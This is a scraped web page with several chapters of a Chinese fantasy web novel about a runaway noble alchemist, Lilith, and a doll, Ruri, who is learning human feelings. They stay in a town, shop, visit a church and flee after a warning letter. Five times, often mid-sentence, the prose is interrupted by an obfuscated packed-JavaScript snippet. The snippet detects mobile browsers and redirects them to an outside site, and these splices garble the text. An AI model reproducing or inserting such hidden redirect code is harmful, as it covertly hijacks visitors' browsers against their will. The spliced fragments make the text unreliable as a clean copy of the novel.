d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17477350|201571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有行人，只有酒馆和其他旅店的灯还亮着，第一批轮班的守卫正提灯漫步在街道上巡逻。 莉莉丝第一次见琉璃这副表情，在不自觉间露出了微笑。她灭掉房间内大多数灯光，将一盏提灯放在床中间柜子上。 领会到莉莉丝的意思，琉璃也关窗回到自己的床上。 莉莉丝笑着问：“第一次看见人类城市的样子？” “肯定。” “你以后一定还会看见更多，更大的城市，这是人类社会独有的风景。” 两人躺在床上闲聊，话题不知不觉来到以后的事。 莉莉丝询问琉璃日后有什么打算。 “考虑到学习人类情感的目的，我认为呆在城市融入社会是最佳方法。我打算在城市生活，找一份工作然后过上和人类一样的生活。” “不可以！琉璃只需要和我一起旅行就够了！” “呜……我是想说……人类情感这种东西我会教你的啦，而且，我一个人就够了，所以……希望你能继续跟我一起旅行啊！” 慌忙解释下一口气说了这么多，莉莉丝感到脑子有点发热，眼神躲闪不知道将目光放在什么地方。 琉璃沉默地看着莉莉丝。 “我可以当作这是你的请求吗？” 莉莉丝终于敢和琉璃对视了。 “是……是的！” 肯定的回答。 “我莉莉丝现在向琉璃发出正式的邀请——你愿意再跟我一起旅行吗？” 琉璃点点头。 莉莉丝可高兴坏了张开双臂就要抱上琉璃。 “这就不必了。” 二人相视一笑。莉莉丝也再次躺下，熄灭了最后的光源。 不知过了多久，莉莉丝开始小声呼唤琉璃名字。 琉璃看向她：“还有什么事？” 黑暗中，莉莉丝注视着琉璃眼睛，琉璃那原本深蓝的瞳孔在这缺乏光线的房间里竟显得像晴日里的天空般明亮。 “今后就请多多关照啦。” 琉璃的嘴角也渐渐有了弧度：“彼此彼此吧。” 在黑暗的房间中，莉莉丝不能确定那是琉璃第一次露出了美丽的微笑，还是在旅途的辛劳的作用下产生的幻觉。 她甚至有一种飘忽不定的感觉——今晚对话，或许只是自己太过疲惫而作的一场梦。 6. 第 6 章 早晨的旅店房间，阳光从不大的窗户洒进来，照在木地板上，泛着温暖的光。 莉莉丝还窝在被子里睡得香甜。 昨晚的琉璃答应自己一起旅行的事让她的睡眠质量大大提高。 琉璃已经醒了，站在床边，安静看着莉莉丝。 “莉莉丝。” 没动静，莉莉丝只翻了个身，把被子抱紧了点。 琉璃看了看墙上挂的老式时钟，齿轮传动的声音在安静房间里可以被清晰地捕捉到。 “莉莉丝，你已经睡了将近11个小时。如果再没有回应，我将使用物理手段唤醒。” 莉莉丝终于有了反应，迷迷糊糊睁开眼，但显然没有还没有睡醒：“……早上了？到城里来了，就不用那么着急起床嘛。” “已经快上午十点了。你再睡下去，我们就只能等到晚上才有饭吃了。” 莉莉丝揉揉眼睛，坐起。被子滑下，露出当作睡衣的袍子。 从在森林里的旅行中走出来后，一夜的睡眠和旅馆柔然的床为莉莉丝的身体带来了合适的放松，但身体在极度放松的状态下旅行的后遗症也随之出现。 她刚准备用力起床，却感到浑身肌肉酸痛。 “咿——好痛。腿疼，腰疼，胳膊也疼。” 莉莉丝抱怨着下床，动作很慢，每动一下就小声哼哼的。 莉莉丝整理衣服的空档里，琉璃出去了一会儿，很快就带回来了早餐——旅店简餐，面包、果酱、热牛奶、煎蛋。 两人就坐在小桌边吃。莉莉丝咬下一口面包问“你什么时候醒的？等了我很久吗？” 琉璃摇头：“刚起没多久。想着要吃早餐了才喊你起来的。” “你的睡眠时间不是比正常人要短些吗，怎么跟着我睡这么久？” “回到城镇后，我也延长了睡眠时间。根据环境变化而调整作息——我印象中的人类都是这样的。” “怎么说好像也没错。” …… 吃完早餐，莉莉丝擦嘴：“我今天去冒险家协会处理点事就先走了，你一个人无聊的话就在城里逛逛吧，你不是要融入人类社会吗，趁机会多观察观察吧。” “嗯，希望一切顺利。” “那不是理所当然的？” “东西别丢了，我不会给你送过去。” 莉莉丝清点好需要的东西确认无误后准备出发。 “哦对了，我中午大概不会回来，你自己随便吃点吧。” “嗯。” 街上晨光正好，人群渐多。莉莉丝先到没人的巷子，换上带兜帽的斗篷，遮住脸。 （可不能让别人给我认出来了，这还没到别的国家呢……） 来到冒险家协会。不管在哪大厅会聚集一群冒险家，可能是因为这兼有酒馆的作用吧。 莉莉丝排队等待。 （排队时间就是无聊，这小分会的办事效率就是低……也不知道琉璃那家伙现在到哪逛去了……） 终于轮到了，办理转正手续。 用狩猎得到的魔兽素材作为资格证明通过了审核。还拿到了贡献奖励。 黄铜质地的身份牌代表着莉莉丝已经升级成为正式冒险家了。 （这下就不用被那家伙说成见习生了） 莉莉丝捏捏牌子：“这黄铜也太丑了……干脆一次性升到白银吧。” 正好还没从前台离开索性继续申请了，等申请得到审核后莉莉丝来到了这的分会长的办公室，作为连续晋升的资格证明，莉莉丝向协会提供了自己在森林里绘制的为开发区的地图。地图对于冒险家来说可算是高价值情报，也是成功拿到了银制身份牌和一笔可观的报酬。 （还是银的好看些，一次性晋升到白银级，看琉璃还敢不敢质疑我的专业性） 走出拥挤的协会重新呼吸到新鲜空气，在考虑下一步要做什么的时候不知不觉回到了旅馆。 没见着琉璃。（估计一时半会逛街回不来） （……那我布置布置该兑现承诺了，今晚得多买些好吃的回来） 没摘下兜帽，莉莉丝已经来到了镇上的集市，甜点，主食，蔬菜，肉类样样都得来一点。 盘算着要吃的东西，莉莉丝走进了一家又一家商铺。待到买的差不多了莉莉丝还没有要回去的意思，逛街有意思的程度远远超过了回去干等着。手上拿着从烘焙坊里买的沾满枫糖浆的松饼，莉莉丝走过了一家酒坊的门面。 （顺手的事，喝点酒也未尝不可） 打手一挥就买了两瓶最好的酒，20银币，这比先前买的吃的加起来都贵。 回到旅馆后，莉莉丝把买好的食物交给旅馆厨房给了1枚银币当小费，让他们给自己房间的餐桌布置一下。 （也不知道琉璃会不会喜欢吃？她应该不挑食的吧……） 琉璃还没回来，莉莉丝就先回房间捣鼓着从森林里带回的素材，这些东西能拿来干什么自己还没什么想法。 …… 晚上太阳被地平线吞去大半，琉璃回来了。 进门正对着的就是旅店人员帮忙布置的餐桌——烛台，餐具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17477351|201571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以及丰盛的晚餐。 “……？恭喜晋升？” 没搞清楚状况的琉璃还以为是庆祝莉莉丝晋升正式冒险家的晚宴，于是送上了祝福。 莉莉丝摆手：“那种小事我才不在乎。这餐饭是专门为你准备的，你没忘吧？我说过会想办法让你多吃点的。” “关于［一点］的定义，你似乎不太清楚。” 没管那么多，二人一起坐在桌边吃着。 莉莉丝不断向杯子里灌满酒，还不断让琉璃也多喝一点。 晚餐进行才不到一半从不断交谈中琉璃注意到莉莉丝已经喝醉了现在有点上头。 “你的语言组织能力已经出现了混乱，建议你少喝点酒。” “没关系……反正明天也没什么安排，多喝点也没事！” “我说过要让你多吃点，莉莉丝大人……说到做到！还剩不少你多吃些……我也吃。” “就算我再怎么多吃我一餐的极限食量也不会超出你太多，要吃完这一大桌食物对于我们来说不太现实，你买的时候有想过只有两个人吗？” 已经喝醉了了的莉莉丝也意识到自己好像买了太多食物开始道歉了 “啊……是我自作主张买太多了……没考虑……抱歉啊。” 但她完全没有要停下的迹象 “不管了，难得像这样庆祝一下，不想那些没用的东西了。” “你完全没有在反省的样子啊。” “不对……我已经在很认真地反省了！……超级反省！” 终于这顿晚餐因酒被喝完而结束。 莉莉丝晃晃悠悠地去泡澡了，琉璃则要收拾桌上的残局。 注意到装酒的瓶子，这只是度数不高的果酒，因独特的水果风味而拥有比一般酒要高的价格。 等到琉璃收拾好残局回来莉莉丝已经洗完躺在床上睡着了。 这还是琉璃为了不让莉莉丝喝太多酒而自己喝下大半的情况，足见莉莉丝酒量极差。 见状琉璃也只有叹气摇头：“真是胡来，以后得注意不能让莉莉丝碰酒。” 琉璃走近帮莉莉丝盖好被子后也去洗漱了。 等到琉璃熄灭灯回到床上，莉莉丝又发出了声音。 “学院……姐姐……” 莉莉丝含糊不清的梦话中只有些没什么相互关系的词语，没掌握相关信息的琉璃无法将它们关联起来，但她没深究这些也睡下了。 …… 第二天早，莉莉丝的哀嚎声回荡在整个房间 “头好痛啊——！” 7. 第 7 章 琉璃的照顾 晨间的阳光从窗帘缝隙里悄然渗入，房间里弥漫着淡淡的残酒味。 琉璃坐在床边，深蓝瞳孔静静注视着莉莉丝。一只巨大的毛毛虫正躺在床上不时地发出呻吟，从被子一端露出用于透气的头。莉莉丝金色的短发其在被子里不断的扭动而凌乱，脸颊泛着不自然的潮红，眉头轻蹙，加上刚才倾述痛苦的哀嚎，不难推断出这家伙宿醉了。 她的呼吸浅浅的。全身还未从旅行后遗症的酸痛感解脱，现在有因宿醉缠上了头痛。 从莉莉丝断断续续的呻吟中，琉璃注意到这家伙的酒还没醒。先煮一壶蜂蜜姜水让这家伙醒醒酒，琉璃是这么想的。 姜片切薄，水声轻响，蜂蜜缓缓融入热气中。她端回床边，看着床上这一大坨，还得先让莉莉丝从这个大毛毛虫里头出来。 “莉莉丝。” 琉璃拉动被子。但回应她的依旧是叫人听不清楚的呢喃以及一个相反的力。 没招了，看来得动用一些物理手段进行唤醒。 琉璃将手伸进被子一把抓住莉莉丝的肩膀使其坐了起来。 “先把姜水喝了再睡。” 突然间的大幅度动作改变了莉莉丝的姿势加上这平静的语气，莉莉丝终于将意识从酒精的温雾里拉回了些。莉莉丝睁开了眼睛。 “早啊，琉璃。” “很高兴你还能清醒地向我打招呼。喝下去吧。” 琉璃将杯子递到莉莉丝的嘴边，莉莉丝就这样小口喝了起来。 生姜的辛辣的气味刺激着鼻腔直击大脑，蜂蜜水的清甜压制着这份刺激，使之不要太过强烈。喉咙被暖意润泽，胃里的翻搅稍稍平息。 “你应该再多放点蜂蜜的。” 效果不错，莉莉丝终于恢复清醒了，接过装有蜂蜜姜水的杯子慢慢地喝下。 “从结果上来看，加这么多蜂蜜正好。” 莉莉丝吐了吐舌头：“现在这个状态的我果然是不适合外出的吧，头好痛，还有大腿也是，明明还没完全恢复就又添上了新毛病，好倒霉。” “这是你对自己酒量没有清晰认知自作自受的结果，所以无法用倒霉来解释。” 莉莉丝无言以对，借口被拆穿，琉璃的教训自己无法反驳。 “以后记得不要逞强喝酒，最好是不要喝。你的酒量可怜到比不过小孩子。” “哦——” 还是好累……这是莉莉丝最直观的感受，看来昨晚的睡眠并未带来多好的休息。琉璃让莉莉丝重新躺下，将装有姜水的水壶放在中间的柜子上。被琉璃施加了简单的魔法回路后水壶能发挥良好的保温效果，这样莉莉丝下一次喝的时候就还是热的。 简单叮嘱过后，琉璃离开了房间。 用羊奶熬一锅甜口的白粥对莉莉丝来说应该是不错的恢复途径。但白米、羊奶、香草、新鲜蜂蜜……这些旅店没法全部提供。 门外，城内的集市已热闹起来。集市街头人声鼎沸，空气中层层叠叠地混杂着香料的辛辣、烤面包的焦香、新鲜蔬果的清甜，还有远处肉摊飘来的烟火气。摊位鳞次栉比，彩棚下挂着五颜六色的布条，阳光洒在上面，像碎金般闪烁。琉璃先走向谷物区。一个白发老妇人正坐在摊前，面前堆着麻袋装的白米。她抬头看见琉璃，笑得眼角皱纹叠起，在琉璃开口前，老妇人就送上了亲切的问候。在简单说明诉求后，老妇人笑着将一个口袋盛满交给了琉璃。琉璃道谢，接过沉甸甸的袋子，继续往前走。再往前是买水果的门店，但这通常也会售卖蜂蜜，可能是因为人们觉得蜂蜜与水果很搭吧。一对中年夫妇正在和邻摊的果贩闲聊——果贩少了秤，夫妇笑着多给了几枚铜币，“没事没事，下次你多给我几个甜橙就行。”孩子们在街道间追逐嬉闹。当琉璃近距离观察人类社会，就会意识到自己与人类的不同之处，但这感觉很微妙，微妙到琉璃也说不上来自己与真正的人类到底有什么不一样，而一离开这种环境，先前的感觉又好像只是无意义的幻觉。琉璃拎着材料慢慢往回走，脚步不急。集市里这些画面一幕幕映入眼帘：陌生人之间没有直接利益，却会因简单的交谈中少收些费用；会因为一次失衡而互相补缺；伸出手；因为像熟人一样分享故事和笑声。这份善意像空气里的香气，无形却处处渗透——人类的情感，原来是这样延伸的。 房间里，莉莉丝的头痛渐渐好转。阳光往上走了些，身体的酸痛感依然存在。她翻了个身，喉咙不那么干了，胃里空虚却不再翻搅。琉璃……去哪儿了？ 最后还差羊奶没买，琉璃想到了之前路上遇见的牧羊人，那会是新鲜羊奶的最好出处。 跟着记忆中的方向琉璃很快看见了牧羊人的身影，风里带着草香和羊叫声。牧羊人也老远就认出了她，笑着挥手。琉璃说明了自己来这里的意图，得到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17477352|201571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了爽快的回应。 回营地去取装羊奶的罐子时，牧羊人询问另一个女孩怎么没跟她一起。琉璃直言：“那家伙昨晚喝了太多酒，现在头痛起不来，我打算用羊奶熬粥给她喝来着。” “哎呀，宿醉的滋味可不好受啊。”他多挤了一些奶，还附赠一小把干香草，“这些就当是我的回礼了，有你这么会照顾人的同伴，那位小姐一定会很快恢复过来吧。” 支付完羊奶的费用，琉璃很快回到了旅馆。 琉璃推门进来，手里拎着几袋材料。莉莉丝已经坐起，金发稍乱但看得出来很有精神。 “琉璃！你去哪儿了？” 琉璃微微一顿，深蓝瞳孔映着她的笑脸。琉璃把材料放到小桌旁：“去集市买了熬粥的材料。羊奶、白米、香草、蜂蜜。” “为我买的吗，谢谢你啊。” “这没什么，看来你恢复得不错。” 借用了旅馆的厨房，琉璃开始着手熬粥。小炉火起，羊奶倒入，米粒缓缓滚开，香草和蜂蜜加入。等熬的差不多了，琉璃将锅里的粥装入瓦罐带回房间。两人将桌子搬到窗户旁，一起用餐。 对没吃早饭莉莉丝来说，这顿午餐是对饥饿最好的恢复，小口吹着热粥，脸颊鼓起，满足地眯眼：“不愧是琉璃，味道很不错嘛！” 琉璃也吃着，动作均匀。在吃饭时进行简单的闲聊，琉璃告诉了莉莉丝自己一上午的见闻。看来对人类交往的静距离观察让这位高性能的人偶思考了很多。 “这让我进一步了解人类的情感，明明是陌生人，却也能互相分享快乐，表达关心吗？” 莉莉丝咬着勺子，略作思考，金发在正午的阳光中微微晃动。她笑着摇头：“这并不是全部，因为这只是座不大的城镇，人与人间才有这么良好的氛围。但为什么会这样我也没法简单用语言回答。人类这种东西，其复杂程度高于任何一道魔法术式，仅靠语言是难以解释的。不过这也没什么，我们一起旅行，会见到更多这样的情况。你会慢慢理解，而且……也会成为其中的一部分，我很期待你成为人类的那天哦。” 琉璃看着她，深蓝瞳孔在暖光中微微弯起。没有多言，却把这话存进了心里。 “那日后还真是——请多指教了。” “那当然，莉莉丝大人会帮你成为人类的。” 就这么悠闲地度过一天也不错。 8. 第 8 章 一起出去逛逛吧 午后的阳光从旅店窗帘缝隙里漏进来，落在木地板上，拉出细长的光带。莉莉丝伸了个懒腰，被子滑到腰间。她坐起身，金发稍乱。 过段时间就要离开城镇了吧，也不知道下次旅行会持续多久，得补充点路上吃的干粮了。不过既然有了会做饭的人，就不用买那些干巴巴的成品了。 她转头看床边，琉璃已坐在小椅上，黑发整齐，深蓝瞳孔平静映着光斑。 注意到莉莉丝的视线琉璃回过头来打招呼。 “早，莉莉丝，今天有什么打算？” “早啊，我们去市场走走吧？补点旅行用的食物，顺便转转～” 琉璃点头，站起身。整理好状态后两人并肩下楼，脚步声在木楼梯上轻响。 出门前的时钟上的时间大概是早上八点，城内主街已热闹起来。阳光洒落，人群来往，空气里混着面包的焦香、蔬果的清甜，还有远处肉摊飘来的烟火气。莉莉丝走在前，偶尔回头，琉璃跟在半步后。 “你吃过早饭了吗？” 琉璃摇头。 “那先去解决这件事吧。”说完莉莉丝拉起琉璃的手来到了酒馆，直接在这里用餐比到面包店去买面包要来得方便得多，而且这的味道还算的上不错。 将新烤出来的黑麦面包放在铁半上用黄油煎着，黄油和培根煎出的油脂混在一起散发出肉类独有的香气。 虽然远不及莉莉丝以前在家中吃得那么精致，但这种朴实的美味更吸引莉莉丝，享受最真实，朴素的生活，感受世界的独特之处，这就是莉莉丝旅行的意义。 因为是酒馆，来此就坐的客人大多都以喝酒闲聊为目的，莉莉丝也不禁想点一杯小麦酒尝尝，但琉璃显然不会让那种事情发生。 解决完早餐，二人转入集市，摊位鳞次栉比。谷物摊前麻袋堆积，蔬果摊水珠在叶子上闪光，干货区香草束挂得高高的，风一吹，草木香淡淡散开。 莉莉丝停在果摊前，指尖轻触一颗红果，水珠滚落。“看起来会很好吃啊，我们要不要买些在路上吃啊？” 琉璃凑近，深蓝瞳孔映射着果实的光泽，指尖掂了掂。“这种水分含量高的水果不利于保存，如果你不能在一周内吃完，它的味道就会慢慢变差，剩下吃不完的你大概率会丢掉吧。” 莉莉丝笑了笑：“没差啦，你也多吃点嘛，根本不会有吃不完的担忧吧？”挑了几颗放篮子。 转到谷物摊，她弯腰看米袋。“耐存的谷物得多买点，路上我可不想吃硬邦邦的面包。” “对于你的想法我表示认同，不过我建议可以买些其他东西让旅行路上的主食多样化一点。” 琉璃点点头，用手拾起几个米粒，用手轻轻地揉搓。“” 能作为旅行种食物的食材很少，不过这也是一种优点让莉莉丝不用思考太多关于吃什么，肉类基本只有培根，火腿等一些烟熏制品，所幸这些东西的味道不差。 为了让琉璃能在旅行途中整出更多的花样，莉莉丝打算多买些不同的东西，乳制品和蜂蜜是不错的选择，这些东西兼顾了美味与易于保存两项优点。 将收获的战力品统统收进储物袋中，莉莉丝感觉有些累了。 “有些累了呢，那么接下来的是逛街时间。” “为什么累了还要选择逛街啊？” “因为累了就要去买点好吃的恢复一下体力嘛，走，正好赶上吃午饭。” 莉莉丝没打算以正餐的形式来应付这顿午饭，带着琉璃一起顺着街道闲逛，途中经过飘着香气的小吃店就停下来买一份。糖渍水果干，路边小摊上卖的果汁，烤肉——莉莉丝吃的很满足。 手上还拿着没吃完的小吃，二人不知不觉来到了一片安静的地段，石板路凉意渗鞋底。 转过巷角，一座不知道多少年代的教堂出现在眼前。高耸石门半开，拱窗透出柔和光线，大门前的台阶长了不少杂草，从外面看，这只是一座小规模的教堂，其中配置的神职人员大概只有不到10位。 “要进去看看吗？” 琉璃点头，走进这扇半掩着的大门，两米多高的壁画记录着圣经上的故事，这座教堂的穹顶还算不上气派，但阳光透过这些玻璃后柔和地洒在室内的场景也称得上漂亮一词。 教堂内安静，烛光摇曳，长椅排排坐着零星信徒，低头祈祷或合掌默念。穹顶高远，彩绘玻璃映阳光斑驳落地，空气里混着蜡烛与香的淡淡烟气。 莉莉丝轻步走进，琉璃跟在旁。两人找了后排长椅坐下，钟声余韵还在石墙间回荡。莉莉丝低声：“人类有很多这样的地方，来祈祷、求安慰，或者单纯感谢什么的。看那边那位大叔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17477353|201571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，闭眼那么久，像在和谁说话。” 琉璃目光落在前方烛台，火焰轻晃映深蓝瞳孔稍久。她的指尖轻置膝上，动作比平时慢。“这么做是为了什么？” 莉莉丝转头看她，金发边缘被烛光镀柔。她的肩无意靠得近了些，呼吸节奏缓了。“或许是希望吧。生活里有太多不确定的事——生病、失去、明天会怎样……信仰像个锚点，让他们觉得不孤单。或者只是平静，闭眼时，心里的乱东西能安静下来。” 琉璃注视一旁信徒合掌姿势，手掌在膝上轻合，模仿却未完全。烛光映她侧脸，深蓝瞳孔映火焰微颤。“祷告如果有用那就不会为这些事而操心了吧？” 莉莉丝指尖无意触长椅木纹，凉意渗入。“人类就是这样的生物，虽然祷告并不能改变什么，但信仰让他们觉得被看见，被支持，哪怕那力量不说话。只是坐在这里，听钟声，闻香味，就够了。”她顿了顿，目光落琉璃手背，“这只是对现实生活中苦难的暂时性的逃避，人总是要休息的，将精神寄托于虚无缥缈的信仰，会产生一种神明会看见，会帮助的希望吧？” “不过神明也不是绝对不存在就是了，有些地方会将古时候的精灵侍奉为神明，据说王国就是在一位神明的帮助下建立的。” “那你要加入祷告吗？” “我就算了，你应该很清楚炼金术师大多都是坚定的无神论者吧？” 莉莉丝笑着摆了摆手。 琉璃指尖轻颤半秒，未移开目光。烛光晃动，黑发垂落扫过莉莉丝肩，两人呼吸在安静中同步。深蓝瞳孔映烛焰稍久，微弯。 钟声又轻响一次，两人起身离开。教堂门边，风吹香味散开。 莉莉丝路过院子里的祷告箱，向里面投入了一枚铜币。 “你不是不相信神吗？” “这是替你投的，做些更贴近人类的事情吧！” 琉璃这才模仿起信徒们祷告时的样子，闭上眼睛在心中默念。 夕阳西下，小巷影子拉长，重叠。 莉莉丝笑：“祈祷了些什么？希望快点变成人类？” “这是可以说的吗？” “好像不行欸，不过算了，我们回去吧。” 琉璃点头，夕阳拉长影子，黑发金发交织，深蓝瞳孔映余晖与莉莉丝侧脸，微弯。 9. 第9章 晨光从旅店窗帘缝隙里悄然渗入，落在莉莉丝的金发上，像一层薄薄的蜜。莉莉丝睁开眼，伸了个懒腰，被子滑落肩头。 虽然城镇里的生活很是惬意，但旅行不能停下来，冒险家是不会在一个地方停留太长时间的，还有更多的风景和事件在旅行路上等着她。 她转头看琉璃，已坐在床边小椅上，黑发整齐，深蓝瞳孔映着光斑平静。 “琉璃，今天去冒险家协会那边补点材料吧？按照计划这几天我们就要离开城镇了。” 琉璃点头，站起身。 “原来你还有计划这种的东西吗？” “自然，专业的冒险家会把一切都计算在内。” 莉莉丝从柜子取出斗篷，披上拉低帽檐。协会人多眼杂，保持神秘是作为独狼的基本修养。 两人下楼，脚步轻响。 出门时，城内街道已苏醒，阳光洒落，人群渐多。冒险家协会大楼在城中心，高塔耸立，门前冒险者来往，摊位叫卖魔物材料、药草、装备。空气混着草药苦香、金属味，还有淡淡血腥的魔物残留气。 莉莉丝斗篷下低头走，琉璃跟在旁半步。她的手无意轻扶莉莉丝臂弯，触感凉凉停留。 商业区摊位鳞次栉比。莉莉丝停在药草摊前，指尖隔斗篷轻触一束结着粉红色果实的药草，叶子凉滑。 “这玩意用来炼制魔药的产率应该挺高，也不知道下次旅行要持续多久，多买些吧。” 琉璃凑近，深蓝瞳孔映草叶光泽，指尖掂了掂。 “成色不错，如果让一名专业的药剂师来处理，一份可以调制出十瓶100ml规格的愈伤药。” 莉莉丝点头，快速讲好价钱，放进篮子。 转到特殊材料区，一座店铺里陈列了各样式的药水和试剂，琉璃拿起一瓶着透明油状物的瓶子。 “泛用性的稳定剂，如果你要在旅行中炼金应该用得上。” 莉莉丝指尖轻触瓶壁，动作比平时慢。 “不要，这种特异性差的泛用货只适合用来解决大规模的初级处理，我用的可都是高端私人定制。” 琉璃目光落莉莉丝斗篷下露出的金发边缘，停留半秒。 “你储物袋里那么多道具全都是？” “正确，还有不少好东西是我亲自设计的呢。是不是对我的印象发生改变了。” “你——?” 莉莉丝斗篷下轻笑，肩偶尔碰琉璃臂弯，未移开。 “还是要被你发现了么，没错，表面上经验丰富的独狼冒险家的另一个身份是——超厉害的资深炼金术师。” 琉璃看着莉莉丝这副炫耀似的神情一时间竟不知道说些什么。 “我可是超厉害的哦，一副作品可是在拍卖行被那些有钱人争先恐后的争抢的！” “以作品称呼炼金产物，我认可你在炼金领域的成就了，毕竟那些真正厉害的家伙都八自己当作艺术家。” “对的对的，现在知道我的厉害了吧。” “我并没有在夸你。” 采购结束，去协会前台寄存多余材料。前台小姐翻寄存记录，递出一封信。 “诺瓦小姐，这有一封给你的信。” 斗篷下的莉莉丝楞住的，缓缓接过后便立即带着琉璃回到旅馆了。 （会通过冒险家协会给自己写信的人真的存在吗？） 越想越不对劲，莉莉丝开始有点害怕了。 （自己的行踪被家里人知道了？） （这个姓氏是自己特意伪造的，家里人应该不会知道才对。） 在桌前重新拿出信封，莉莉丝倒吸了一口凉气，蜡封很完整。暖色灯光覆盖下的红色火漆印着父亲的私人印章。只有家里人能认出这个印章。 （家里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17477354|201571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人都知道我在那里了？我才刚遇到琉璃啊，绝对不能被抓回去。） 打开信封看看。 “致我可爱的莉莉丝：我回到家里已经过去一周了，就在三天前你妈妈知道了你离家出走的消息生了一大场气，现在已经联系你舅舅在全国找你了吧，奖金是封为男爵加五万菲尔曼金币哦。经过我的计算，你应该还没出国吧。如果不想被抓回家面对妈妈的怒火的话就快点跑吧。我可是已经很努力地在帮你打掩护了呀。——爱你的爸爸” 莉莉丝呼吸乱了些，斗篷下握信手紧。 （被全国通缉了！） 不能再待，得走，这里我一秒钟都呆不下去了。 琉璃注视着莉莉丝那受惊过度的脸，手掌轻轻放置在她肩膀上。 “怎么了？” 深蓝的瞳孔让莉莉丝冷静了些。 “我们得尽快离开这里去其他国家，继续待在着里会有我绝对不想面对的危险。” 在旅店里快速整理。莉莉丝斗篷未摘，琉璃仔细地检查了留下的痕迹，确认了不会暴露二人来过的信息。莉莉丝目光落在琉璃身上，呼吸缓了些。 “下站……去邻国吧。出国之前我要经量远离人类。” 琉璃点头，目光落她斗篷下金发。 “你有地图吗?” “那种东西现在也没时间买吧，路线什么的就靠你了，快走！” 二人退了房然后向城外走去。 黄昏出发，城门渐远。夕阳拉长影子，重叠。 莉莉丝不敢摘下斗篷，步伐也前所未有的急促。 琉璃指尖无意碰她手背。 “你身上的秘密还挺多。” 莉莉丝无法反驳。 “到时候会给你解释的，现在还是快赶路吧。” 夜风吹起，黑发金发交织，新的旅行就要这么仓促地开始了。 10. 第10章 仓促的赶路和夜间的坦白 黄昏的余晖渐渐淡去，城门在身后远成一个小点。夜风吹起斗篷边角，凉意渗进衣领，像细针轻刺。莉莉丝披着斗篷，帽檐压得很低，步伐比平时快了许多。星光初现，洒在平原大路上，拉长两道影子，重叠又分开。 大路平坦，路侧草丛在风中轻晃，发出沙沙细响。远处河水声渐近，隐约混着木轮转动的低鸣。莉莉丝目光扫过路侧。等到走过城镇的磨坊才算完全离开这座小镇。突然的来信让莉莉丝的出城计划完全被打乱了。 “再走一会就是磨坊了，琉璃你试试看去问路，我会在没人的伐木场等你。” “嗯，你小心点。” 河水声清晰起来，磨坊灯火在夜色中暖黄。木轮转动，水花溅起细碎光点，映在河面如散落星屑。空气混着河湿、面粉干香，还有木头湿润的味道。磨坊旁，几盏灯笼晃动，几个年轻的工人正准备去澡堂洗澡，磨坊主正与他的妻子交谈。 琉璃先行走向磨坊门前。莉莉丝转入旁侧伐木场区域。这里人影稀少，只有远处河声与风吹叶响，旁边搭建着几个简陋的帐篷，应该是供工人们休息用的。她靠一堆木头坐下，斗篷裹紧，帽檐下目光落河面波光。月光映水，碎银般晃动。 琉璃上前向磨坊主打招呼，磨坊主是个中年男人，脸上的皱纹在暖色火光的照耀下显出几分慈祥。他抬头，见琉璃黑发深蓝瞳，动作停顿。 “请问有什么事吗？”磨坊主笑。路过的冒险家来这里问路是常有的事，所以磨坊主并没有对琉璃的出现表示怀疑。 琉璃点头，直视他。 “我是路过的冒险家，因为需要夜里赶路所以来这里问问附近的路况，当然如果您能提供一份地图的话我也会支付相应的报酬。” “怎么就你一个人，你没有同伴吗？”磨坊主示意琉璃一起上楼。 “嗯，我一般是单独行动的。” “就你一个小姑娘还当独狼，想必你的本事一定不小吧？” “还好。” 收过磨坊主拿出的地图后，琉璃支付完报酬便准备离开了。 